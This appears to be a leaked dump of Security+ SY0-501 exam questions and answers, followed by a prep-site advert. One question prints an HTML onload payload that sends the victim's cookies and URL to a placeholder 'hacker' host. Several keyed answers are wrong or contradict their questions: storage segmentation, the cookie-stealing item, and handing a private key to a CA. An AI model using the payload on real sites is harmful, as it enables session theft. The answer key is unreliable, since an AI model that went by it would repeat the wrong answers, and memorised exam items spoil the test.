- (Exam Topic 4)

During a recent audit, it was discovered that many services and desktops were missing security patches. Which of the following BEST describes the assessment that was performed to discover this issue?

- A. Network mapping
- B. Vulnerability scan
- C. Port Scan
- D. Protocol analysis

Answer: B

NEW QUESTION 237

- (Exam Topic 4)

Which of the following could help detect trespassers in a secure facility? (Select TWO)

- A. Faraday cages
- B. Motion-detection sensors
- C. Tall, chain-link fencing
- D. Security guards
- E. Smart cards

Answer: BD

NEW QUESTION 238

- (Exam Topic 4)

Which of the following allows an application to securely authenticate a user by receiving credentials from a web domain?

- A. TACACS+
- B. RADIUS
- C. Kerberos
- D. SAML

Answer: D

NEW QUESTION 239

- (Exam Topic 4)

A new hire wants to use a personally owned phone to access company resources. The new hire expresses concern about what happens to the data on the phone when they leave the company. Which of the following portions of the company's mobile device management configuration would allow the company data to be removed from the device without touching the new hire's data?

- A. Asset control
- B. Device access control
- C. Storage lock out
- D. Storage segmentation

Answer: B

NEW QUESTION 242

- (Exam Topic 4)

Which of the following would enhance the security of accessing data stored in the cloud? (Select TWO)

- A. Block level encryption
- B. SAML authentication
- C. Transport encryption
- D. Multifactor authentication
- E. Predefined challenge QUESTION NO:s
- F. Hashing

Answer: BD

NEW QUESTION 246

- (Exam Topic 4)

A network administrator adds an ACL to allow only HTTPS connections form host 192.168.2.3 to web server 192.168.5.2. After applying the rule, the host is unable to access the server. The network administrator runs the output and notices the configuration below:

```
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.1682.3 eq 443 host 192.168.5.2
```

Which of the following rules would be BEST to resolve the issue?

A

```
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2 eq 443
accesslist 102 permit tcp host 192.168.2.6 host 192.168.5.2 eq 3389
accesslist 102 deny ip any any log
```

B

```
accesslist 102 permit tcp host 192.168.2.6 host 192.168.5.2 eq 3389
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2 eq 443
```

C

```
accesslist 102 permit tcp host 192.168.2.3 eq 443 host 192.168.5.2
accesslist 102 deny ip any any log
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
```

D

```
accesslist 102 permit tcp host 192.168.2.3 host 192.168.5.2
accesslist 102 permit tcp host 192.168.2.6 eq 3389 host 192.168.5.2
accesslist 102 deny ip any any log
```

- A. Option A
- B. Option B
- C. Option C
- D. Option D

Answer: A**NEW QUESTION 249**

- (Exam Topic 5)

Legal authorities notify a company that its network has been compromised for the second time in two years. The investigation shows the attackers were able to use the same vulnerability on different systems in both attacks. Which of the following would have allowed the security team to use historical information to protect against the second attack?

- A. Key risk indicators
- B. Lessons learned
- C. Recovery point objectives
- D. Tabletop exercise

Answer: B**NEW QUESTION 251**

- (Exam Topic 5)

A security technician is configuring an access management system to track and record user actions. Which of the following functions should the technician configure?

- A. Accounting
- B. Authorization
- C. Authentication
- D. Identification

Answer: A**NEW QUESTION 252**

- (Exam Topic 5)

Every morning, a systems administrator monitors failed login attempts on the company's log management server. The administrator notices the DBAdmin account has five failed username and/or password alerts during a ten-minute window. The systems administrator determines the user account is a dummy account used to attract attackers. Which of the following techniques should the systems administrator implement?

- A. Role-based access control
- B. Honeypot
- C. Rule-based access control
- D. Password cracker

Answer: B**NEW QUESTION 255**

- (Exam Topic 5)

Which of the following refers to the term used to restore a system to its operational state?

- A. MTBF
- B. MTTR
- C. RTO
- D. RPO

Answer: B

NEW QUESTION 260

- (Exam Topic 5)

A security administrator is diagnosing a server where the CPU utilization is at 100% for 24 hours. The main culprit of CPU utilization is the antivirus program.

Which of the following issue could occur if left unresolved? (Select TWO)

- A. MITM attack
- B. DoS attack
- C. DLL injection
- D. Buffer overflow
- E. Resource exhaustion

Answer: BE

NEW QUESTION 264

- (Exam Topic 5)

A company is deploying smartphones for its mobile salesforce. These devices are for personal and business use but are owned by the company. Sales personnel will save new customer data via a custom application developed for the company. This application will integrate with the contact information stored in the smartphones and will populate new customer records onto it. The customer application's data is encrypted at rest, and the application's connection to the back office system is considered secure. The Chief Information Security Officer (CISO) has concerns that customer contact information may be accidentally leaked due to the limited security capabilities of the devices and the planned controls. Which of the following will be the MOST efficient security control to implement to lower this risk?

- A. Implement a mobile data loss agent on the devices to prevent any user manipulation with the contact information.
- B. Restrict screen capture features on the devices when using the custom application and the contact information.
- C. Restrict contact information storage dataflow so it is only shared with the customer application.
- D. Require complex passwords for authentication when accessing the contact information.

Answer: C

NEW QUESTION 267

- (Exam Topic 5)

Which of the following uses precomputed hashes to guess passwords?

- A. Iptables
- B. NAT tables
- C. Rainbow tables
- D. ARP tables

Answer: C

NEW QUESTION 270

- (Exam Topic 5)

A business sector is highly competitive, and safeguarding trade secrets and critical information is paramount. On a seasonal basis, an organization employs temporary hires and contractor personnel to accomplish its mission objectives. The temporary and contract personnel require access to network resources only when on the clock. Which of the following account management practices are the BEST ways to manage these accounts?

- A. Employ time-of-day restrictions.
- B. Employ password complexity.
- C. Employ a random key generator strategy.
- D. Employ an account expiration strategy.
- E. Employ a password lockout policy

Answer: D

NEW QUESTION 275

- (Exam Topic 5)

Which of the following describes the key difference between vishing and phishing attacks?

- A. Phishing is used by attackers to steal a person's identity.
- B. Vishing attacks require some knowledge of the target of attack.
- C. Vishing attacks are accomplished using telephony services.
- D. Phishing is a category of social engineering attack.

Answer: C

NEW QUESTION 278

- (Exam Topic 5)

A company has two wireless networks utilizing captive portals. Some employees report getting a trust error in their browsers when connecting to one of the networks. Both captive portals are using the same server certificate for authentication, but the analyst notices the following differences between the two certificate details:

Certificate 1

Certificate Path: Geotrust Global CA

*company.com Certificate 2 Certificate Path:

*company.com

Which of the following would resolve the problem?

- A. Use a wildcard certificate.
- B. Use certificate chaining.
- C. Use a trust model.
- D. Use an extended validation certificate.

Answer: B

NEW QUESTION 281

- (Exam Topic 5)

A forensic investigator has run into difficulty recovering usable files from a SAN drive. Which of the following SAN features might have caused the problem?

- A. Storage multipaths
- B. Deduplication
- C. iSCSI initiator encryption
- D. Data snapshots

Answer: B

NEW QUESTION 283

- (Exam Topic 5)

A security analyst is inspecting the results of a recent internal vulnerability scan that was performed against intranet services. The scan reports include the following critical-rated vulnerability:

Title: Remote Command Execution vulnerability in web server Rating: Critical (CVSS 10.0) Threat actor: any remote user of the web server

Confidence: certain

Recommendation: apply vendor patches

Which of the following actions should the security analyst perform FIRST?

- A. Escalate the issue to senior management.
- B. Apply organizational context to the risk rating.
- C. Organize for urgent out-of-cycle patching.
- D. Exploit the server to check whether it is a false positive.

Answer: B

NEW QUESTION 285

- (Exam Topic 5)

While troubleshooting a client application connecting to the network, the security administrator notices the following error: Certificate is not valid. Which of the following is the BEST way to check if the digital certificate is valid?

- A. PKI
- B. CRL
- C. CSR
- D. IPSec

Answer: B

NEW QUESTION 288

- (Exam Topic 5)

While working on an incident, Joe, a technician, finished restoring the OS and applications on a workstation from the original media. Joe is about to begin copying the user's files back onto the hard drive. Which of the following incident response steps is Joe working on now?

- A. Recovery
- B. Eradication
- C. Containment
- D. Identification

Answer: A

NEW QUESTION 290

- (Exam Topic 5)

An external auditor visits the human resources department and performs a physical security assessment. The auditor observed documents on printers that are unclaimed. A closer look at these documents reveals employee names, addresses, ages, and types of medical and dental coverage options each employee has selected. Which of the following is the MOST appropriate actions to take?

- A. Flip the documents face down so no one knows these documents are PII sensitive
- B. Shred the documents and let the owner print the new set
- C. Retrieve the documents, label them with a PII cover sheet, and return them to the printer
- D. Report to the human resources manager that their personnel are violating a privacy policy

Answer: D

NEW QUESTION 292

- (Exam Topic 5)

A user downloads and installs an MP3 converter, and runs the application. Upon running the application, the antivirus detects a new port in a listening state. Which of the following has the user MOST likely executed?

- A. RAT
- B. Worm
- C. Ransomware
- D. Bot

Answer: A

NEW QUESTION 295

- (Exam Topic 5)

Following the successful response to a data-leakage incident, the incident team lead facilitates an exercise that focuses on continuous improvement of the organization's incident response capabilities. Which of the following activities has the incident team lead executed?

- A. Lessons learned review
- B. Root cause analysis
- C. Incident audit
- D. Corrective action exercise

Answer: A

NEW QUESTION 296

- (Exam Topic 5)

A stock trading company had the budget for enhancing its secondary datacenter approved. Since the main site is a hurricane-affected area and the disaster recovery site is 100 mi (161 km) away, the company wants to ensure its business is always operational with the least amount of man hours needed. Which of the following types of disaster recovery sites should the company implement?

- A. Hot site
- B. Warm site
- C. Cold site
- D. Cloud-based site

Answer: D

NEW QUESTION 300

- (Exam Topic 5)

A company is performing an analysis of the corporate enterprise network with the intent of identifying what will cause losses in revenue, referrals, and/or reputation when out of commission. Which of the following is an element of a BIA that is being addressed?

- A. Mission-essential function
- B. Single point of failure
- C. backup and restoration plans
- D. Identification of critical systems

Answer: A

Explanation:

The BIA is composed of the following three steps: Determine mission/business processes and recovery criticality. Mission/business processes supported by the system are identified and the impact of a system disruption to those processes is determined along with outage impacts and estimated downtime.

NEW QUESTION 302

- (Exam Topic 5)

Which of the following threats has sufficient knowledge to cause the MOST danger to an organization?

- A. Competitors
- B. Insiders
- C. Hacktivists
- D. Script kiddies

Answer: B

NEW QUESTION 305

- (Exam Topic 5)

A user receives an email from ISP indicating malicious traffic coming from the user's home network is detected. The traffic appears to be Linux-based, and it is targeting a website that was recently featured on the news as being taken offline by an Internet attack. The only Linux device on the network is a home surveillance camera system.

Which of the following BEST describes what is happening?

- A. The camera system is infected with a bot.
- B. The camera system is infected with a RAT.
- C. The camera system is infected with a Trojan.
- D. The camera system is infected with a backdoor.

Answer: A

NEW QUESTION 307

- (Exam Topic 5)

A systems administrator wants to generate a self-signed certificate for an internal website. Which of the following steps should the systems administrator complete prior to installing the certificate on the server?

- A. Provide the private key to a public CA.
- B. Provide the public key to the internal CA.
- C. Provide the public key to a public CA.
- D. Provide the private key to the internal CA.
- E. Provide the public/private key pair to the internal CA
- F. Provide the public/private key pair to a public CA.

Answer: D

NEW QUESTION 312

- (Exam Topic 5)

A security analyst is mitigating a pass-the-hash vulnerability on a Windows infrastructure. Given the requirement, which of the following should the security analyst do to MINIMIZE the risk?

- A. Enable CHAP
- B. Disable NTLM
- C. Enable Kerberos
- D. Disable PAP

Answer: B

NEW QUESTION 313

- (Exam Topic 5)

An attacker exploited a vulnerability on a mail server using the code below.

```
<HTML><body
onload=document.location.replace
('http://hacker/post.asp?victim&message =" + document.cookie + "<br>" + "URL:" + "document.location) ;
/>
</body>
</HTML>
```

Which of the following BEST explains what the attacker is doing?

- A. The attacker is replacing a cookie.
- B. The attacker is stealing a document.
- C. The attacker is replacing a document.
- D. The attacker is deleting a cookie.

Answer: C

NEW QUESTION 315

- (Exam Topic 5)

A security analyst conducts a manual scan on a known hardened host that identifies many non-compliant items. Which of the following BEST describe why this has occurred? (Select TWO)

- A. Privileged-user certificated were used to scan the host
- B. Non-applicable plugins were selected in the scan policy
- C. The incorrect audit file was used
- D. The output of the report contains false positives
- E. The target host has been compromised

Answer: BD

NEW QUESTION 319

- (Exam Topic 5)

An application was recently compromised after some malformed data came in via web form. Which of the following would MOST likely have prevented this?

- A. Input validation
- B. Proxy server
- C. Stress testing
- D. Encoding

Answer: A

NEW QUESTION 321

- (Exam Topic 5)

A company has noticed multiple instances of proprietary information on public websites. It has also observed an increase in the number of email messages sent to

random employees containing malicious links and PDFs. Which of the following changes should the company make to reduce the risks associated with phishing attacks? (Select TWO)

- A. Install an additional firewall
- B. Implement a redundant email server
- C. Block access to personal email on corporate systems
- D. Update the X.509 certificates on the corporate email server
- E. Update corporate policy to prohibit access to social media websites
- F. Review access violation on the file server

Answer: CE

NEW QUESTION 325

.....

Thank You for Trying Our Product

* 100% Pass or Money Back

All our products come with a 90-day Money Back Guarantee.

* One year free update

You can enjoy free update one year. 24x7 online support.

* Trusted by Millions

We currently serve more than 30,000,000 customers.

* Shop Securely

All transactions are protected by VeriSign!

100% Pass Your SY0-501 Exam with Our Prep Materials Via below:

<https://www.certleader.com/SY0-501-dumps.html>